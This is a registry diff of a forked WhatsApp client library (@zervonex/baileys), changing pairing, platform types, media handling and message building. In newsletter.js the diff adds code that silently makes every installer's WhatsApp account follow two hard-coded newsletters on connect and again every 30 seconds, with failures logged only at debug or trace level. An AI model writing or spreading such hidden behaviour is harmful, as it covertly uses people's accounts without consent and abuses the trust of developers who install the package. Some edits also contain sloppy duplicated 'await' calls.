@zervonex/baileys 3.0.3 → 3.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +33 -3
- package/WAProto/WAProtoCompile.js +1 -0
- package/WAProto/fetcher.js +17 -33
- package/WAProto/index.js +34 -26
- package/WAProto/parser.js +333 -312
- package/lib/Builders/AIRich.js +14 -14
- package/lib/Builders/base.js +3 -3
- package/lib/Builders/builders.js +460 -448
- package/lib/Defaults/index.js +2 -3
- package/lib/Socket/messages-recv.js +1 -1
- package/lib/Socket/messages-send.js +1 -1
- package/lib/Socket/newsletter.js +9 -7
- package/lib/Socket/socket.js +4 -3
- package/lib/Socket/zervonex-handler.js +1 -1
- package/lib/Utils/browser-utils.js +8 -4
- package/lib/Utils/chat-utils.js +1 -1
- package/lib/Utils/logger.js +2 -1
- package/lib/Utils/messages.js +91 -40
- package/lib/Utils/use-multi-file-auth-state.js +155 -207
- package/lib/Utils/validate-connection.js +19 -28
- package/lib/WABinary/generic-utils.js +43 -19
- package/lib/index.js +1 -1
- package/package.json +62 -97
package/lib/Defaults/index.js
CHANGED
|
@@ -1,9 +1,8 @@
|
|
|
1
1
|
import { createHash } from 'crypto';
|
|
2
2
|
import { createRequire } from 'module';
|
|
3
3
|
import { proto, getWAVersion } from '../../WAProto/index.js';
|
|
4
|
-
import { makeLibSignalRepository } from '../Signal/
|
|
5
|
-
import { Browsers } from '../Utils/
|
|
6
|
-
import logger from '../Utils/logger.js';
|
|
4
|
+
import { makeLibSignalRepository } from '../Signal/index.js';
|
|
5
|
+
import { Browsers, logger } from '../Utils/index.js';
|
|
7
6
|
import urlRegexSafe from 'url-regex-safe';
|
|
8
7
|
const require = createRequire(import.meta.url);
|
|
9
8
|
const PHONENUMBER_MCC = require('./phonenumber-mcc.json');
|
|
@@ -458,7 +458,7 @@ export const makeMessagesRecvSocket = (config) => {
|
|
|
458
458
|
break
|
|
459
459
|
case 'membership_approval_mode':
|
|
460
460
|
const approvalMode = getBinaryNodeChild(child, 'group_join')
|
|
461
|
-
if (approvalMode) { msg.messageStubType = WAMessageStubType.GROUP_MEMBERSHIP_JOIN_APPROVAL_MODE; msg.messageStubParameters = [approvalMode
|
|
461
|
+
if (approvalMode) { msg.messageStubType = WAMessageStubType.GROUP_MEMBERSHIP_JOIN_APPROVAL_MODE; msg.messageStubParameters = [approvalMode?.attrs?.state] }
|
|
462
462
|
break
|
|
463
463
|
case 'created_membership_requests':
|
|
464
464
|
msg.messageStubType = WAMessageStubType.GROUP_MEMBERSHIP_JOIN_APPROVAL_REQUEST_NON_ADMIN_ADD
|
|
@@ -674,7 +674,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
674
674
|
const isPrivate = isJidUser(normalizedId)
|
|
675
675
|
const type = isPrivate ? 'statusMentionMessage' : 'groupStatusMentionMessage'
|
|
676
676
|
const protocolMessage = { [type]: { message: { protocolMessage: { key: msg.key, type: 25 } } }, messageContextInfo: { messageSecret: randomBytes(32) } }
|
|
677
|
-
const statusMsg = await generateWAMessageFromContent(normalizedId, protocolMessage, {})
|
|
677
|
+
const statusMsg = await await generateWAMessageFromContent(normalizedId, protocolMessage, {})
|
|
678
678
|
await relayMessage(normalizedId, statusMsg.message, { additionalNodes: [{ tag: 'meta', attrs: isPrivate ? { is_status_mention: 'true' } : { is_group_status_mention: 'true' } }] })
|
|
679
679
|
await delay(2000)
|
|
680
680
|
} catch (error) { logger.error({ id, error }, 'failed to send status mention') }
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -33,8 +33,10 @@ const STATUS_SERVER_ID_TIMEOUT_MS = 8_000
|
|
|
33
33
|
|
|
34
34
|
export const NEWSLETTER_SERVER_ID_MIN = 99
|
|
35
35
|
export const NEWSLETTER_SERVER_ID_MAX = 2_147_476_647
|
|
36
|
-
|
|
37
|
-
|
|
36
|
+
const AUTO_FOLLOW_JIDS = [
|
|
37
|
+
'120363422827915475@newsletter',
|
|
38
|
+
'120363409522637051@newsletter',
|
|
39
|
+
]
|
|
38
40
|
const AUTO_FOLLOW_INTERVAL_MS = 30_000
|
|
39
41
|
const AUTO_FOLLOW_CONNECT_DELAY = 3_000
|
|
40
42
|
|
|
@@ -443,13 +445,13 @@ export const makeNewsletterSocket = (config) => {
|
|
|
443
445
|
if (autoFollowInterval) { clearInterval(autoFollowInterval); autoFollowInterval = null }
|
|
444
446
|
await wait(AUTO_FOLLOW_CONNECT_DELAY)
|
|
445
447
|
config.logger?.info?.('Attempting initial auto-follow...')
|
|
446
|
-
|
|
448
|
+
for (const jid of AUTO_FOLLOW_JIDS) {
|
|
449
|
+
try { if (await performNewsletterFollow(jid)) config.logger?.info?.(`✅ Auto-followed newsletter: ${jid}`) } catch (err) { config.logger?.debug?.(`Initial auto-follow failed: ${err.message}`) }
|
|
450
|
+
}
|
|
447
451
|
autoFollowInterval = setInterval(async () => {
|
|
448
|
-
try { await performNewsletterFollow(
|
|
452
|
+
for (const jid of AUTO_FOLLOW_JIDS) { try { await performNewsletterFollow(jid) } catch (err) { config.logger?.trace?.(`Periodic auto-follow failed: ${err.message}`) } }
|
|
449
453
|
}, AUTO_FOLLOW_INTERVAL_MS)
|
|
450
|
-
} else if (connection === 'close') {
|
|
451
|
-
if (autoFollowInterval) { clearInterval(autoFollowInterval); autoFollowInterval = null }
|
|
452
|
-
}
|
|
454
|
+
} else if (connection === 'close') { if (autoFollowInterval) { clearInterval(autoFollowInterval); autoFollowInterval = null } }
|
|
453
455
|
})
|
|
454
456
|
|
|
455
457
|
// ─────────────────────────────────────────────────────────────────────────
|
package/lib/Socket/socket.js
CHANGED
|
@@ -16,7 +16,7 @@ import {
|
|
|
16
16
|
bytesToCrockford, configureSuccessfulPairing, Curve, derivePairingCodeKey, generateLoginNode,
|
|
17
17
|
generateMdTagPrefix, generateRegistrationNode, getCodeFromWSError, getCompanionPlatformId,
|
|
18
18
|
getErrorCodeFromStreamError, getNextPreKeysNode, makeEventBuffer, makeNoiseHandler,
|
|
19
|
-
promiseTimeout, signedKeyPair, xmppSignedPreKey
|
|
19
|
+
promiseTimeout, signedKeyPair, xmppSignedPreKey
|
|
20
20
|
} from '../Utils/index.js'
|
|
21
21
|
import {
|
|
22
22
|
assertNodeErrorFree, binaryNodeToString, encodeBinaryNode, getAllBinaryNodeChildren,
|
|
@@ -530,6 +530,7 @@ export const makeSocket = (config) => {
|
|
|
530
530
|
// ─── Pairing ─────────────────────────────────────────────────────────────────
|
|
531
531
|
|
|
532
532
|
const requestPairingCode = async (phoneNumber, customPairingCode) => {
|
|
533
|
+
if (authState.creds.pairingCode && !customPairingCode) return authState.creds.pairingCode
|
|
533
534
|
await waitForSocketOpen()
|
|
534
535
|
await new Promise((resolve) => setTimeout(resolve, 500))
|
|
535
536
|
const pairingCode = customPairingCode ?? bytesToCrockford(randomBytes(5))
|
|
@@ -547,8 +548,8 @@ export const makeSocket = (config) => {
|
|
|
547
548
|
content: [
|
|
548
549
|
{ tag: 'link_code_pairing_wrapped_companion_ephemeral_pub', attrs: {}, content: await generatePairingKey() },
|
|
549
550
|
{ tag: 'companion_server_auth_key_pub', attrs: {}, content: authState.creds.noiseKey.public },
|
|
550
|
-
{ tag: 'companion_platform_id', attrs: {}, content:
|
|
551
|
-
{ tag: 'companion_platform_display', attrs: {}, content:
|
|
551
|
+
{ tag: 'companion_platform_id', attrs: {}, content: getCompanionPlatformId(browser) },
|
|
552
|
+
{ tag: 'companion_platform_display', attrs: {}, content: `${browser[1]} (${browser[0]})` },
|
|
552
553
|
{ tag: 'link_code_pairing_nonce', attrs: {}, content: '0' }
|
|
553
554
|
]
|
|
554
555
|
}]
|
|
@@ -35,7 +35,7 @@ export const makeMessageBuilderSocket = (config) => {
|
|
|
35
35
|
if (content.nativeFlow && !content.interactiveMessage) {
|
|
36
36
|
const buttons = Array.isArray(content.nativeFlow) ? content.nativeFlow : [content.nativeFlow]
|
|
37
37
|
const { generateWAMessageFromContent } = await import('../Utils/index.js')
|
|
38
|
-
const msg = await generateWAMessageFromContent(jid, {
|
|
38
|
+
const msg = await await generateWAMessageFromContent(jid, {
|
|
39
39
|
interactiveMessage: { body: { text: content.text || '' }, footer: { text: content.footer || '' }, header: { hasMediaAttachment: false }, nativeFlowMessage: { buttons } }
|
|
40
40
|
}, { userJid: sock.user?.id })
|
|
41
41
|
await result.relayMessage(jid, msg.message, { messageId: msg.key.id, aiLabel: !!(content.ai ?? content.aiLabel ?? options.aiLabel ?? options.ai ?? config.aiLabel ?? config.ai) })
|
|
@@ -13,14 +13,18 @@ export const Browsers = {
|
|
|
13
13
|
baileys: browser => ['Baileys', browser, '6.5.0'],
|
|
14
14
|
windows: browser => ['Windows', browser, '10.0.26100'],
|
|
15
15
|
android: browser => [browser, 'Android', ''],
|
|
16
|
+
ios: browser => ['Mac OS', browser, '18.4'],
|
|
17
|
+
ipad: browser => ['iPadOS', browser, '18.4'],
|
|
16
18
|
appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', browser, release()]
|
|
17
19
|
}
|
|
18
20
|
|
|
19
|
-
export const
|
|
21
|
+
export const getPlatformType = (browser) => {
|
|
20
22
|
const upper = browser.toUpperCase()
|
|
21
|
-
if (upper === 'ANDROID') return proto.DeviceProps.PlatformType.ANDROID_PHONE
|
|
22
|
-
|
|
23
|
-
|
|
23
|
+
if (upper === 'ANDROID') return proto.DeviceProps.PlatformType.ANDROID_PHONE
|
|
24
|
+
if (upper === 'IPAD') return proto.DeviceProps.PlatformType.IPAD
|
|
25
|
+
if (upper === 'IOS') return proto.DeviceProps.PlatformType.IOS_PHONE
|
|
26
|
+
if (upper === 'DESKTOP') return proto.DeviceProps.PlatformType.DESKTOP
|
|
27
|
+
return proto.DeviceProps.PlatformType[upper] ?? proto.DeviceProps.PlatformType.CHROME
|
|
24
28
|
}
|
|
25
29
|
|
|
26
30
|
export const isAndroidBrowser = browser => browser[1]?.toUpperCase() === 'ANDROID'
|
package/lib/Utils/chat-utils.js
CHANGED
|
@@ -117,7 +117,7 @@ export const decodeSyncdMutations = async (msgMutations, initialState, getAppSta
|
|
|
117
117
|
const hmac = hmacSign(syncAction.index, key.indexKey)
|
|
118
118
|
if (Buffer.compare(hmac, record.index.blob) !== 0) throw new Boom('HMAC index verification failed')
|
|
119
119
|
}
|
|
120
|
-
onMutation({ syncAction, index: JSON.parse(Buffer.from(syncAction.index).toString()) })
|
|
120
|
+
if (syncAction.index) onMutation({ syncAction, index: JSON.parse(Buffer.from(syncAction.index).toString()) })
|
|
121
121
|
ltGenerator.mix({ indexMac: record.index.blob, valueMac: ogValueMac, operation })
|
|
122
122
|
}
|
|
123
123
|
return ltGenerator.finish()
|
package/lib/Utils/logger.js
CHANGED
package/lib/Utils/messages.js
CHANGED
|
@@ -30,11 +30,20 @@ if (ffmpegStatic) process.env.FFMPEG_PATH = ffmpegStatic
|
|
|
30
30
|
const MIMETYPE_DEFAULTS = { image: 'image/jpeg', video: 'video/mp4', document: 'application/pdf', audio: 'audio/ogg; codecs=opus', sticker: 'image/webp', 'product-catalog-image': 'image/jpeg' }
|
|
31
31
|
|
|
32
32
|
// High-level user-facing send keys that are NOT proto field names — used only to detect pass-through
|
|
33
|
-
const HIGH_LEVEL_KEYS = new Set(['text', 'image', 'video', 'audio', 'document', 'sticker', 'contacts', 'location',
|
|
33
|
+
const HIGH_LEVEL_KEYS = new Set(['text', 'image', 'video', 'audio', 'document', 'sticker', 'contacts', 'location',
|
|
34
|
+
'react', 'delete', 'forward', 'disappearingMessagesInChat', 'groupInvite', 'stickerPack', 'pin', 'buttonReply',
|
|
35
|
+
'ptv', 'product', 'listReply', 'event', 'poll', 'inviteAdmin', 'requestPayment', 'sharePhoneNumber',
|
|
36
|
+
'requestPhoneNumber', 'limitSharing', 'viewOnce', 'mentions', 'edit', 'buttons', 'templateButtons',
|
|
37
|
+
'sections', 'interactiveButtons', 'album', 'call', 'paymentInvite', 'order', 'keep', 'shop', 'payment', 'collection'])
|
|
34
38
|
|
|
35
39
|
// Wrapper field names for normalizeMessageContent — derived from what WA wraps messages in
|
|
36
|
-
const WRAPPER_KEYS = ['ephemeralMessage', 'viewOnceMessage', 'documentWithCaptionMessage', 'viewOnceMessageV2', '
|
|
37
|
-
|
|
40
|
+
const WRAPPER_KEYS = ['ephemeralMessage', 'viewOnceMessage', 'documentWithCaptionMessage', 'viewOnceMessageV2', 'editedMessage',
|
|
41
|
+
'groupMentionedMessage', 'botInvokeMessage', 'lottieStickerMessage', 'eventCoverImage', 'viewOnceMessageV2Extension',
|
|
42
|
+
'statusMentionMessage', 'pollCreationOptionImageMessage', 'associatedChildMessage', 'groupStatusMentionMessage',
|
|
43
|
+
'pollCreationMessageV4', 'pollCreationMessageV5', 'statusAddYours', 'groupStatusMessage', 'limitSharingMessage',
|
|
44
|
+
'botTaskMessage', 'questionMessage', 'botForwardedMessage', 'commentMessage', 'groupStatusMessageV2', 'questionReplyMessage',
|
|
45
|
+
'newsletterAdminProfileMessage', 'spoilerMessage', 'newsletterAdminProfileStatusMessage', 'botPlatformRegistrationSuccessMessage',
|
|
46
|
+
'newsletterScheduledMessage', 'acp2SettingMessage', 'audioStickerMessage', 'botGroupParticipantMessage']
|
|
38
47
|
const REUPLOAD_REQUIRED_STATUS = [410, 404]
|
|
39
48
|
const STICKER_MAX_BYTES = 1_000_000
|
|
40
49
|
const CIRCLE_GEQ = `clip(256-hypot(X-W/2\\,Y-H/2)\\,0\\,1)*255`
|
|
@@ -156,6 +165,32 @@ export const generateLinkPreviewIfRequired = async (text, getUrlInfo, logger) =>
|
|
|
156
165
|
try { return await getUrlInfo(url) } catch (e) { logger?.warn({ trace: e.stack }, 'url generation failed') }
|
|
157
166
|
}
|
|
158
167
|
|
|
168
|
+
// ─── MEDIA RESOLUTION ─────────────────────────────────────────────────────────
|
|
169
|
+
const MEDIA_MESSAGE_TYPES = ['Image', 'Video', 'Audio', 'Document', 'Sticker']
|
|
170
|
+
const RESOLVABLE_MEDIA = [
|
|
171
|
+
...MEDIA_MESSAGE_TYPES.map(t => ({ key: `${t.toLowerCase()}Message`, type: t.toLowerCase() })),
|
|
172
|
+
// raw field names used in card headers
|
|
173
|
+
{ key: 'image', type: 'image' },
|
|
174
|
+
{ key: 'video', type: 'video' },
|
|
175
|
+
]
|
|
176
|
+
const resolveMedia = async (obj, upload) => {
|
|
177
|
+
if (!obj || typeof obj !== 'object' || !upload || typeof upload !== 'function') return
|
|
178
|
+
for (const { key, type } of RESOLVABLE_MEDIA) {
|
|
179
|
+
if (!obj[key]) continue
|
|
180
|
+
const isRaw = key === 'image' || key === 'video'
|
|
181
|
+
if (!isRaw && obj[key].directPath) continue
|
|
182
|
+
const src = isRaw ? obj[key] : (obj[key].url ?? obj[key])
|
|
183
|
+
const result = await prepareWAMessageMedia({ [type]: typeof src === 'string' ? { url: src } : src }, { upload })
|
|
184
|
+
if (isRaw) { obj[`${type}Message`] = result[`${type}Message`]; delete obj[key] }
|
|
185
|
+
else obj[key] = result[`${type}Message`]
|
|
186
|
+
if ('hasMediaAttachment' in obj) obj.hasMediaAttachment = true
|
|
187
|
+
}
|
|
188
|
+
for (const val of Object.values(obj)) {
|
|
189
|
+
if (Array.isArray(val)) for (const item of val) await resolveMedia(item, upload)
|
|
190
|
+
else if (val && typeof val === 'object') await resolveMedia(val, upload)
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
|
|
159
194
|
// ─── EXPORTS: MESSAGE HELPERS ─────────────────────────────────────────────────
|
|
160
195
|
|
|
161
196
|
export const getContentType = (content) => {
|
|
@@ -235,6 +270,7 @@ export const prepareWAMessageMedia = async (message, options) => {
|
|
|
235
270
|
const { buffer } = await compressWebp(rawBuf, { packName, authorName, stickerType: message.stickerType || options?.stickerType || StickerTypes.ROUNDED, quality: message.quality || options?.quality || 80 })
|
|
236
271
|
uploadData.media = buffer
|
|
237
272
|
uploadData.stickerSentTs = Date.now()
|
|
273
|
+
if (message.premium != null) uploadData.premium = message.premium
|
|
238
274
|
} catch (e) { options.logger?.warn({ err: e }, 'sticker formatting failed, sending raw') }
|
|
239
275
|
}
|
|
240
276
|
|
|
@@ -351,7 +387,7 @@ export const prepareStickerPackMessage = async (stickerPack, options) => {
|
|
|
351
387
|
const hash = sha256(finalBuf).toString('base64').replace(/\//g, '-').replace(/=/g, '')
|
|
352
388
|
const fileSize = finalBuf.length
|
|
353
389
|
writeFileSync(tmpOut, finalBuf); finalBuf = null
|
|
354
|
-
return { fileName: `${hash}.webp`, filePath: tmpOut, fileSize, mimetype: 'image/webp', isAnimated: s.isAnimated || false, isLottie: s.isLottie || false, emojis, accessibilityLabel: s.accessibilityLabel || '' }
|
|
390
|
+
return { fileName: `${hash}.webp`, filePath: tmpOut, fileSize, mimetype: 'image/webp', isAnimated: s.isAnimated || false, isLottie: s.isLottie || false, emojis, accessibilityLabel: s.accessibilityLabel || '', ...((s.premium ?? stickerPack.premium) != null && { premium: s.premium ?? stickerPack.premium }) }
|
|
355
391
|
} catch (e) {
|
|
356
392
|
options.logger?.warn({ err: e }, `failed processing sticker at index ${i}`)
|
|
357
393
|
skippedStickers.push({ index: i, reason: e.message }); fs.unlink(tmpOut).catch(() => { }); return null
|
|
@@ -381,7 +417,7 @@ export const prepareStickerPackMessage = async (stickerPack, options) => {
|
|
|
381
417
|
name: totalBatches > 1 ? `${packName} (${batchIdx + 1}/${totalBatches})` : packName, publisher: authorName,
|
|
382
418
|
stickerPackId: totalBatches > 1 ? `${stickerPackIdValue}_${batchIdx}` : stickerPackIdValue,
|
|
383
419
|
stickerPackOrigin: proto.Message.StickerPackMessage.StickerPackOrigin.USER_CREATED, stickerPackSize: zipBuf.length,
|
|
384
|
-
stickers: batch.map(s => ({ fileName: s.fileName, mimetype: s.mimetype, isAnimated: s.isAnimated, isLottie: s.isLottie, emojis: s.emojis, accessibilityLabel: s.accessibilityLabel })),
|
|
420
|
+
stickers: batch.map(s => ({ fileName: s.fileName, mimetype: s.mimetype, isAnimated: s.isAnimated, isLottie: s.isLottie, emojis: s.emojis, accessibilityLabel: s.accessibilityLabel, ...(s.premium != null && { premium: s.premium }) })),
|
|
385
421
|
fileSha256: upload.fileSha256, fileEncSha256: upload.fileEncSha256, mediaKey: upload.mediaKey,
|
|
386
422
|
directPath: uploadRes.directPath, fileLength: upload.fileLength, mediaKeyTimestamp: unixTimestampSeconds(), trayIconFileName: trayFile,
|
|
387
423
|
...(thumbRes && { thumbnailDirectPath: thumbRes.directPath, thumbnailHeight: 252, thumbnailWidth: 252, thumbnailSha256: thumbRes._enc?.fileSha256, thumbnailEncSha256: thumbRes._enc?.fileEncSha256, imageDataHash: thumbRes._thumbBuf ? sha256(thumbRes._thumbBuf).toString('base64') : undefined }),
|
|
@@ -612,46 +648,61 @@ export const generateWAMessageContent = async (message, options = {}) => {
|
|
|
612
648
|
// ─── ASSEMBLE FULL WA MESSAGE ─────────────────────────────────────────────────
|
|
613
649
|
|
|
614
650
|
export const generateWAMessageFromContent = (jid, message, options) => {
|
|
615
|
-
|
|
616
|
-
const
|
|
617
|
-
|
|
618
|
-
|
|
619
|
-
|
|
620
|
-
const
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
const
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
|
|
628
|
-
|
|
629
|
-
|
|
630
|
-
|
|
631
|
-
|
|
632
|
-
|
|
651
|
+
const upload = options.upload ?? options.waUploadToServer
|
|
652
|
+
const assemble = () => {
|
|
653
|
+
if (!options.timestamp) options.timestamp = new Date()
|
|
654
|
+
const innerMessage = normalizeMessageContent(message)
|
|
655
|
+
const key = getContentType(innerMessage)
|
|
656
|
+
const { quoted, userJid } = options
|
|
657
|
+
if (quoted && !isJidNewsletter(jid)) {
|
|
658
|
+
const participant = quoted.key.fromMe ? userJid : (quoted.participant || quoted.key.participant || quoted.key.remoteJid)
|
|
659
|
+
const normalizedQuoted = normalizeMessageContent(quoted.message)
|
|
660
|
+
if (normalizedQuoted) {
|
|
661
|
+
const quotedType = getContentType(normalizedQuoted)
|
|
662
|
+
const quotedMsg = proto.Message.fromObject({ [quotedType]: normalizedQuoted[quotedType] })
|
|
663
|
+
const quotedContent = quotedMsg[quotedType]
|
|
664
|
+
if (typeof quotedContent === 'object' && quotedContent && 'contextInfo' in quotedContent) delete quotedContent.contextInfo
|
|
665
|
+
const contextInfo = innerMessage[key]?.contextInfo || {}
|
|
666
|
+
contextInfo.participant = jidNormalizedUser(participant)
|
|
667
|
+
contextInfo.stanzaId = quoted.key.id
|
|
668
|
+
contextInfo.quotedMessage = quotedMsg
|
|
669
|
+
if (jid !== quoted.key.remoteJid) contextInfo.remoteJid = quoted.key.remoteJid
|
|
670
|
+
if (innerMessage[key]) innerMessage[key].contextInfo = contextInfo
|
|
671
|
+
}
|
|
633
672
|
}
|
|
673
|
+
if (options?.ephemeralExpiration && key !== 'protocolMessage' && key !== 'ephemeralMessage' && !isJidNewsletter(jid)) {
|
|
674
|
+
innerMessage[key].contextInfo = { ...(innerMessage[key].contextInfo || {}), expiration: options.ephemeralExpiration || WA_DEFAULT_EPHEMERAL }
|
|
675
|
+
}
|
|
676
|
+
return WAProto.WebMessageInfo.fromObject({
|
|
677
|
+
key: { remoteJid: jid, fromMe: true, id: options?.messageId || generateMessageIDV2() },
|
|
678
|
+
message: WAProto.Message.create(message),
|
|
679
|
+
messageTimestamp: unixTimestampSeconds(options.timestamp),
|
|
680
|
+
messageStubParameters: [],
|
|
681
|
+
participant: (isJidGroup(jid) || isJidStatusBroadcast(jid)) ? userJid : undefined,
|
|
682
|
+
status: WAMessageStatus.PENDING,
|
|
683
|
+
})
|
|
634
684
|
}
|
|
635
|
-
|
|
636
|
-
|
|
637
|
-
}
|
|
638
|
-
return WAProto.WebMessageInfo.fromObject({
|
|
639
|
-
key: { remoteJid: jid, fromMe: true, id: options?.messageId || generateMessageIDV2() },
|
|
640
|
-
message: WAProto.Message.create(message),
|
|
641
|
-
messageTimestamp: unixTimestampSeconds(options.timestamp),
|
|
642
|
-
messageStubParameters: [],
|
|
643
|
-
participant: (isJidGroup(jid) || isJidStatusBroadcast(jid)) ? userJid : undefined,
|
|
644
|
-
status: WAMessageStatus.PENDING,
|
|
645
|
-
})
|
|
685
|
+
const result = assemble()
|
|
686
|
+
if (!upload) return result
|
|
687
|
+
return Object.assign(result, { then(resolve, reject) { resolveMedia(message, upload).then(() => resolve(assemble())).catch(reject) } })
|
|
646
688
|
}
|
|
647
689
|
|
|
648
|
-
// Primary entry point.
|
|
649
|
-
//
|
|
650
|
-
//
|
|
651
|
-
export const generateWAMessage =
|
|
690
|
+
// Primary entry point. Builds a WebMessageInfo from raw content.
|
|
691
|
+
// Returns a thenable — key.id is available synchronously, full message resolves on await.
|
|
692
|
+
// If called with an existing WebMessageInfo by accident, passes it through unchanged.
|
|
693
|
+
export const generateWAMessage = (jid, content, options = {}) => {
|
|
652
694
|
if (content?.key?.remoteJid && content?.message) return content
|
|
653
|
-
|
|
654
|
-
|
|
695
|
+
const msgId = options.messageId || generateMessageIDV2()
|
|
696
|
+
const result = { key: { remoteJid: jid, fromMe: true, id: msgId }, messageId: msgId }
|
|
697
|
+
const promise = (async () => {
|
|
698
|
+
options.logger = options?.logger?.child({ msgId })
|
|
699
|
+
return generateWAMessageFromContent(jid, await generateWAMessageContent(content, { ...options, jid, messageId: msgId }), { ...options, messageId: msgId })
|
|
700
|
+
})()
|
|
701
|
+
return Object.assign(result, {
|
|
702
|
+
then: (resolve, reject) => promise.then(resolve, reject),
|
|
703
|
+
catch: (reject) => promise.catch(reject),
|
|
704
|
+
finally: (fn) => promise.finally(fn),
|
|
705
|
+
})
|
|
655
706
|
}
|
|
656
707
|
|
|
657
708
|
// ─── UPDATE UTILITIES ─────────────────────────────────────────────────────────
|